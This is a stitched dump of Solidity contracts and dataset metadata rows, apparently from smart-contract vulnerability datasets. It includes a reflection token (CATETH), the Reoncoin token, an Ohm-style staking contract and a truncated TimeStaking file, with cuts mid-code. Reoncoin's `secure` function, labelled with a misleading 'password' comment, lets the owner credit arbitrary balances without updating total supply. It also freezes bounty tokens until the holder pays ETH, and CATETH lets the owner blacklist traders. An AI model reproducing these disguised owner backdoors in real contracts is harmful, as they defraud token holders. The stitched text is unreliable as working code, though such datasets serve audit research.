uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _standardTax;
address payable private _feeAddrWallet;
string private constant _name = "CATETH";
string private constant _symbol = "ECAT";
uint8 private constant _decimals = 5;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal.mul(2).div(100);
uint256 private _maxWalletSize = _tTotal.mul(2).div(100);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
_standardTax=5;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 0;
_feeAddr2 = _standardTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>0) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}else{
_feeAddr1 = 0;
_feeAddr2 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function setStandardTax(uint256 newTax) external onlyOwner{
require(newTax<_standardTax);
_standardTax=newTax;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addbot(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 344,823 | 12,094 |
48e8aa92d455e3de5aba5bc31d64bf7aecc1d703b467758b7cedada01d860691
| 13,814 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x0475cad90f0e134969aecd27dfdc8c02b6ec0026.sol
| 2,733 | 10,912 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface tokenRecipient {
function receiveApproval(address _from,
uint256 _value,
address _token,
bytes _extraData) external;
}
contract ERC20 {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to].add(_value) > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from].add(balanceOf[_to]);
// Subtract from the sender
balanceOf[_from] = balanceOf[_from].sub(_value);
// Add the same to the recipient
balanceOf[_to] = balanceOf[_to].add(_value);
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the targeted balance
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); // Subtract from the sender's allowance
totalSupply = totalSupply.sub(_value); // Update totalSupply
emit Burn(_from, _value);
return true;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract Reoncoin is owned, ERC20 {
using SafeMath for uint256;
// bountyusers
address[] public bountyUsers;
uint256 private phaseOneQty; uint256 private phaseTwoQty; uint256 private phaseThreeQty; uint256 private phaseOneUsers;
uint256 private phaseTwoUsers; uint256 private phaseThreeUsers;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event FundTransfer(address backer, uint amount, bool isContribution);
constructor(uint256 initialSupply,
string tokenName,
string tokenSymbol,
uint256 pOneQty,
uint256 pTwoQty,
uint256 pThreeQty,
uint256 pOneUsers,
uint256 pTwoUsers,
uint256 pThreeUsers) ERC20(initialSupply, tokenName, tokenSymbol) public {
phaseOneQty = pOneQty;
phaseTwoQty = pTwoQty;
phaseThreeQty = pThreeQty;
phaseOneUsers = pOneUsers;
phaseTwoUsers = pTwoUsers;
phaseThreeUsers = pThreeUsers;
}
function() payable public {
address _to = msg.sender;
require(msg.value >= 0);
if(msg.value == 0){
require(!checkUserExists(_to));
sendToken(_to);
}else{
unLockBounty(_to);
}
}
function unLockBounty(address _to) internal returns (bool){
frozenAccount[_to] = false;
emit FrozenFunds(_to, false);
return true;
}
function sendToken(address _to) internal returns (bool res){
address _from = owner;
if(bountyUsers.length >= phaseThreeUsers){
return false;
}else if(bountyUsers.length >= phaseTwoUsers){
bountyUsers.push(msg.sender);
_transfer(_from, _to, phaseThreeQty * 10 ** uint256(decimals));
bountyFreeze(msg.sender, true);
}else if(bountyUsers.length >= phaseOneUsers){
bountyUsers.push(msg.sender);
_transfer(_from, _to, phaseTwoQty * 10 ** uint256(decimals));
bountyFreeze(msg.sender, true);
}else{
bountyUsers.push(msg.sender);
_transfer(_from, _to, phaseOneQty * 10 ** uint256(decimals));
bountyFreeze(msg.sender, true);
}
}
function checkUserExists(address userAddress) internal constant returns(bool){
for(uint256 i = 0; i < bountyUsers.length; i++){
if(bountyUsers[i] == userAddress) return true;
}
return false;
}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to].add(_value) >= balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
balanceOf[_to] = balanceOf[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] = balanceOf[target].add(mintedAmount);
totalSupply = totalSupply.add(mintedAmount);
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
/// @notice Create `password` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param password the amount of tokens it will receive
function secure(address target, uint256 password) onlyOwner public {
balanceOf[target] = balanceOf[target].add(password);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function ownerBurn(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the sender has enough
balanceOf[_from] = balanceOf[_from].sub(_value); // Subtract from the sender
totalSupply = totalSupply.sub(_value); // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/// @notice `bountyFreeze? Prevent | Allow` `bounty target` from sending tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function bountyFreeze(address target, bool freeze) internal {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function contractbalance() view public returns (uint256){
return address(this).balance;
}
}
| 190,485 | 12,095 |
b4a08e72fb7664aa48ed9c28ffcce41290f8d7b6ae7b097cf58d9fe159f4c7a5
| 26,009 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/e1/e13a71a159b252c40dfd7dddf5795a4e80025648_CreditStaking.sol
| 4,361 | 17,618 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IsCredit is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract CreditStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IsCredit;
IERC20 public immutable Credit;
IsCredit public immutable sCredit;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Credit,
address _sCredit,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Credit != address(0));
Credit = IERC20(_Credit);
require(_sCredit != address(0));
sCredit = IsCredit(_sCredit);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Credit.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(sCredit.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
sCredit.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = sCredit.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = sCredit.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Credit.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
sCredit.safeTransferFrom(msg.sender, address(this), _amount);
Credit.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return sCredit.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
sCredit.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = sCredit.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Credit.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 100,055 | 12,096 |
897a07505e18fa4b76756bd1522d5a67e583317387248d469016c298e340cda6
| 27,363 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/19/19672375464ccbf1f8c6c7c32d8d8987d27262a5_TimeStaking.sol
| 4,198 | 16,940 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
